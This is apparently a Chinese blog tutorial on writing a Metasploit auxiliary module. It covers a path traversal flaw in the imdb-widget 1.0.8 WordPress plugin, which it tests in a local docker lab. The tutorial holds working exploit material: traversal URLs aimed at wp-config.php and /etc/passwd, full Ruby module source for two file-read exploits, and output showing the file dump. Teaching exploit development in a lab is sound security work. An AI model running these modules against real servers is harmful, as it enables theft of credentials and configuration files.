0x00 概述


Metasploit——渗透测试神器,相信大家应该都用过或听过,drops里也有很多白帽子写过相关的文章,介绍如何使用Metasploit。使用过Metasploit的同学应该知道,Metasploit Framework是高度模块化的,即框架是由多个module组成,我们除了可以使用已有的 module,还可以自行编写module来满足自己的需求,模块化使得框架具有很好的可扩展性,这也是为什么Metasploit Framework这么受欢迎的原因之一。

看了看drops之前的文章,好像没人写过关于如何编写 Metasploit Module,刚好最近在捣鼓Metasploit,顺便复习下快遗忘的ruby,记录下自己学习的过程。

因为是入门篇,所以这里以一个非常简单WordPress Plugin的任意文件读取漏洞作为例子,搭建环境,编写自己的Auxiliary module(辅助模块),然后测试验证,介绍编写自己的 module的步骤和方法。

文中如果有说的不对或不准确的地方,欢迎大家指出~

0x01 漏洞环境


漏洞环境是一个WordPress 插件imdb-widget 1.0.8版本的任意文件读取漏洞,缺陷代码存在于pic.php,代码:

<?php
header( 'Content-Type: image/jpeg' );
readfile( $_GET["url"] );

PoC:

/wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php

因为 Content-Type 被设置成了 image/jpeg,所以访问后需要点击另存为文本文件,然后打开就可以获取到文件内容

可以参考WordPress Plugin IMDb Profile Widget 1.0.8 – Local File Inclusion

0x02 环境搭建


环境搭建包括两部分

Metasploit

这里使用 Kali 2.0,自带Metasploit,比较方便,下载Prebuilt Kali Linux VirtualBox Images,导入VirtualBox就可以用,这里就不细说了

WordPress 插件漏洞环境

这里使用docker来搭建,操作系统为 Ubuntu 14.04,docker的安装大家可以 google下

拉取 WordPress image

docker pull wordpress:4.4.2

拉取 Mysql image

docker pull mysql:5.7.11

拉取过程可能会比较慢,可以装个Shadow(socks)和proxychains,再proxychains docker pull

启动 mysql container

docker run -d -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7.11

启动 wordpress container

docker run -d --name wordpress --link mysql:mysql -p 80:80 wordpress:4.4.2

访问

http://127.0.0.1/

根据页面提示Install就行

接着登录后台

http://127.0.0.1/wp-login.php

下载插件imdb-widget有漏洞的1.0.8版本,点击左边导航栏的 插件 – 安装插件 – 上传插件,选择刚才下载的zip包,点现在安装 – 启用插件

然后点击 外观 – 小工具,把左边的 IMDb Profile 拖到 挂件区域的第一个位置,点开设置User id,随便填一个如ur1,Show 随便勾选几个,点保存。主页刷新就可以看到了

测试漏洞,执行如下命令,就可以看到 /etc/passwd 的内容

wget -O result.txt http://127.0.0.1/wp-content/plugins/imdb-widget/pic.php?url=../../../../../../../../../etc/passwd

cat result.txt
...

0x03 编写Module


编写之前先简单介绍一些概念相关的东西

Metasploit中的 Module Tree 分为两种,Primary Module TreeUser-Specified Module Tree,前者用于放框架自带的module,后者用于放自己写的module.

Primary Module Tree在目录 /usr/share/metasploit-framework/modules/

User-Specified Module Tree 在 ~/.msf7/modules/(官网写的是~/.msf4/modules/)

Module的分类包括6种:

drwxr-xr-x 20 root root 4.0K Jan 28 05:38 auxiliary
drwxr-xr-x 11 root root 4.0K Jan 28 05:38 encoders
drwxr-xr-x 18 root root 4.0K Jan 28 05:38 exploits
drwxr-xr-x  9 root root 4.0K Jan 28 05:38 nops
drwxr-xr-x  5 root root 4.0K Jan 28 05:38 payloads
drwxr-xr-x 11 root root 4.0K Jan 28 05:38 post

根据官网的介绍,翻译过来大概意思是:

auxiliary:辅助模块,不带有payload的exploit,比如一些扫描模块

payloads:远程运行的代码,比如反弹shell的代码

exploits:带有payload的exploit

encoders:用于对payload进行编码

nops:保持paload大小的一致性

post: 获取权限后,用于后续渗透阶段的模块

因为任意读取漏洞是用于获取信息的,并不能直接获取系统权限,即不带有 payload ,因此我们要编写的module是属于auxiliary分类下的。

编写之前,我们来分析下任意文件读取漏洞auxiliary module需要完成的功能,简单来说:

  1. 检查插件版本,看是否为存在漏洞的版本,如果不是,则返回invulnerable,如果是或不确定,比如获取不到版本信息,则执行2
  2. 向存在漏洞的页面发送http请求,获取某个指定文件的内容,如果获取成功,则保存文件到本地。如果获取失败,有两种可能性,一是插件不存在漏洞,对应前面获取不到版本信息的情况;二是文件不存在或文件的权限问题;需要根据返回做相应处理

注:这里检查插件是否存在,应该由另一个module来完成,这里只负责检测插件是否存在漏洞

分析完后,就得开始写module了,那么这里有两种方法:

  1. 找一个auxiliary module的代码skeleton,然后一点点自己写;
  2. 找一个类似的已经写好的module,在它的基础上改写;

这里推荐第二种,比较适合我这种新手,有参考,写起来也容易些,那么如何找到可以参考的module呢?莫慌~

打开msfconsole,因为是文件读取,可以先search wordpress然后再找 read 关键词,在msfconsole中执行

msf > grep "read" search wordpress

找到如下几个module

auxiliary/scanner/http/wp_dukapress_file_read                                   normal     WordPress DukaPress Plugin File Read Vulnerability

auxiliary/scanner/http/wp_gimedia_library_file_read                             normal     WordPress GI-Media Library Plugin Directory Traversal Vulnerability

auxiliary/scanner/http/wp_imdb_profile_widget_file_read                         normal     WordPress IMDb Profile Widget Plugin File Read Vulnerability

auxiliary/scanner/http/wp_mobileedition_file_read                               normal     WordPress Mobile Edition File Read Vulnerability

auxiliary/scanner/http/wp_nextgen_galley_file_read                              normal     WordPress NextGEN Gallery Directory Read Vulnerability

auxiliary/scanner/http/wp_simple_backup_file_read                               normal     WordPress Simple Backup File Read Vulnerability

auxiliary/scanner/http/wp_subscribe_comments_file_read                          normal     WordPress Subscribe Comments File Read Vulnerability

这里选择auxiliary/scanner/http/wp_dukapress_file_read,具体文件位于/usr/share/metasploit-framework/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb

代码如下:

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report

  include Msf::Exploit::Remote::HTTP::Wordpress

  include Msf::Auxiliary::Scanner

  def initialize(info = {})

    super(update_info(info,
      'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in WordPress Plugin
        "DukaPress" version 2.5.2, allowing to read arbitrary files with the
        web server privileges.
      },
      'References'     =>
        [
          ['EDB', '35346'],
          ['CVE', '2014-8799'],
          ['WPVDB', '7731'],
          ['OSVDB', '115130']
        ],
      'Author'         =>
        [
          'Kacper Szurek', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
      ], self.class)

  end

  def check

    check_plugin_version_from_readme('dukapress', '2.5.7')

  end

  def run_host(ip)

    traversal = "../" * datastore['DEPTH']
    filename = datastore['FILEPATH']
    filename = filename[1, filename.length] if filename =~ /^\//

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
      'vars_get' =>
        {
          'src' => "#{traversal}#{filename}"
        }
    })

    if res && res.code == 200 && res.body.length > 0

      print_status('Downloading file...')
      print_line("\n#{res.body}")

      fname = datastore['FILEPATH']

      path = store_loot(
        'dukapress.file',
        'text/plain',
        ip,
        res.body,
        fname
      )

      print_good("#{peer} - File saved in: #{path}")
    else
      print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
    end

  end

end

看到这一堆代码,一般人都会有点晕,不知道从那里下手,莫慌,问google,搜索metasploit write module,搜索结果第三个,How to get started with writing an exploit,里面有一些module结构的说明. 这里对照着给了代码加了些注释:

# 引入msf core 库

require 'msf/core'

# 继承 Msf::Auxiliary 类

class Metasploit3 < Msf::Auxiliary

  # 引入三个 module,具体可以查看文档

  include Msf::Auxiliary::Report

  include Msf::Exploit::Remote::HTTP::Wordpress

  include Msf::Auxiliary::Scanner

  # 初始化函数

  def initialize(info = {})

    super(update_info(info,
      # [Vendor] [Software] [Root Cause] [Vulnerability type] 
      'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
      # 描述
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in WordPress Plugin
        "DukaPress" version 2.5.2, allowing to read arbitrary files with the
        web server privileges.
      },
      # 相关vulnerability 或 exploit的参考
      'References'     =>
        [
          ['EDB', '35346'],
          ['CVE', '2014-8799'],
          ['WPVDB', '7731'],
          ['OSVDB', '115130']
        ],
      # 作者
      'Author'         =>
        [
          'Kacper Szurek', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
        ],
      'License'        => MSF_LICENSE
    ))
    # 注册需要参数
    register_options(
      [
        # 要获取的文件路径
        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
        # 遍历深度,用于到达根目录,默认7次../
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
      ], self.class)

  end

  # 用于支持 check 命令;在具体执行exploit前,检查是否存在漏洞

  def check

    # 检查dukapress版本,Wordpress module提供
    check_plugin_version_from_readme('dukapress', '2.5.7')

  end

  def run_host(ip)

    traversal = "../" * datastore['DEPTH']
    filename = datastore['FILEPATH']
    filename = filename[1, filename.length] if filename =~ /^\//
    # 发送http请求
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
      'vars_get' =>
        {
          'src' => "#{traversal}#{filename}"
        }
    })
    # 检查响应
    if res && res.code == 200 && res.body.length > 0

      print_status('Downloading file...')
      print_line("\n#{res.body}")

      fname = datastore['FILEPATH']
      # 保存文件
      path = store_loot(
        'dukapress.file',
        'text/plain',
        ip,
        res.body,
        fname
      )

      print_good("#{peer} - File saved in: #{path}")
    else
      print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
    end

  end

end

弄懂大概结构后,我们根据前面的分析,编写自己的module,完成后的代码如下

#

This module requires Metasploit: http://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

#

# 引入msf core 库

require 'msf/core'

# 继承 Msf::Auxiliary 类

class Metasploit3 < Msf::Auxiliary

  # 引入三个 module,照搬,具体可以查看文档

  include Msf::Auxiliary::Report

  include Msf::Exploit::Remote::HTTP::Wordpress

  include Msf::Auxiliary::Scanner

  # 初始化函数

  def initialize(info = {})

    super(update_info(info,
      # [Vendor] [Software] [Root Cause] [Vulnerability type] 
      'Name'           => 'WordPress IMDb Profile Widget Plugin File Read Vulnerability',
      # 描述
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in WordPress Plugin
        "IMDb Profile Widget" version 1.0.8, allowing to read arbitrary files with the
        web server privileges.
      },
      # 相关vulnerability 或 exploit的参考
      'References'     =>
        [
          ['URL', 'https://www.exploit-db.com/exploits/39621/']
        ],
      # 作者
      'Author'         =>
        [
          'CrashBandicot @DosPerl', # Vulnerability discovery
          'blinking.yan <blinking.yan[at]gmail.com>' # Metasploit module
        ],
      'License'        => MSF_LICENSE
    ))
    # 注册需要参数
    register_options(
      [
        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
      ], self.class)

  end

  # 用于支持 check 命令;在具体执行exploit前,检查是否存在漏洞

  def check

    # 检查imdb-widget版本
    check_plugin_version_from_readme('imdb-widget', '1.0.8')

  end

  # 执行exploit

  def run_host(ip)

    traversal = "../" * datastore['DEPTH']
    filename = datastore['FILEPATH']
    filename = filename[1, filename.length] if filename =~ /^\//
    # 发送读取文件的http请求
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(wordpress_url_plugins, 'imdb-widget', 'pic.php'),
      'vars_get' =>
        {
          'url' => "#{traversal}#{filename}"
        }
    })
    # 检查响应
    if res && res.code == 200 && res.body.length > 0
      # 文件不存在
      if res.body.include? 'No such file or directory' 
        print_error("#{peer} - Nothing was downloaded. No such file or directory: /#{filename}. Please change the DEPTH parameter.")
      # 文件读取权限问题
      elsif res.body.include? 'Permission denied'
        print_error("#{peer} - Nothing was downloaded. Permission denied: /#{filename}. Please change the DEPTH parameter.")
      else
        print_status('Downloading file...')
        print_line("\n#{res.body}")

        fname = datastore['FILEPATH']
        # 保存文件
        path = store_loot(
          'imdb-widget.file',
          'text/plain',
          ip,
          res.body,
          fname
        )

        print_good("#{peer} - File saved in: #{path}")
      end
    else
      print_error("#{peer} - Http Response Code is not 200 or Plugin is not vulnerable")
    end

  end

end

可以看到,改动的地方并不是很多。

因此我们并不需要弄懂所有的类和方法,也可以写出自己的module。

代码中发送http请求部分可以参考:How to Send an HTTP Request Using HTTPClient

0x04 测试Module


前面提到,msf有专门的目录~/.msf7/modules/来存放自己编写的module,这里对照着auxiliary/scanner/http/wp_dukapress_file_read,创建目录

mkdir -p  ~/.msf7/modules/auxiliary/scanner/http/

将代码保存~/.msf7/modules/auxiliary/scanner/http/目录下,文件名为wp_imdb_profile_widget_file_read.rb,重启msfconsole,加载自定义module,执行

msfconsole -m ~/.msf7/modules

查看下插件是否已经被load

msf > grep "imdb" search wordpress

auxiliary/scanner/http/wp_imdb_profile_widget_file_read                         normal     WordPress IMDb Profile Widget Plugin File Read Vulnerability

对前面的漏洞环境进行测试,这里wordpress的ip为192.168.1.191

msf > use auxiliary/scanner/http/wp_imdb_profile_widget_file_read

msf auxiliary(wp_imdb_profile_widget_file_read) > show options 

Module options (auxiliary/scanner/http/wp_imdb_profile_widget_file_read):

   Name       Current Setting  Required  Description

---

   DEPTH      7                yes       Traversal Depth (to reach the root folder)

   FILEPATH   /etc/passwd      yes       The path to the file to read

   Proxies                     no        A proxy chain of format type:host:port,type:host:port

   RHOSTS                      yes       The target address range or CIDR identifier

   RPORT      80               yes       The target port

   TARGETURI  /                yes       The base path to the wordpress application

   THREADS    1                yes       The number of concurrent threads

   VHOST                       no        HTTP server virtual host

msf auxiliary(wp_imdb_profile_widget_file_read) > set rhosts 192.168.1.191

rhosts => 192.168.1.191

msf auxiliary(wp_imdb_profile_widget_file_read) > run

[*] Downloading file...

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

[+] 192.168.1.191:80 - File saved in: /root/.msf7/loot/20160403132842default192.168.1.191imdbwidget.file266865.txt

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(wp_imdb_profile_widget_file_read) > 

成功读取到/etc/passwd,测试成功~

0x05 结论


文章主要介绍的是如何去编写module的方法,有的地方可能写的不是很详细。总结来说就是: 在接触一个新的东西时,参考别人已经写好的东西,然后修修改改,是一种很好快速入门的方法。

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏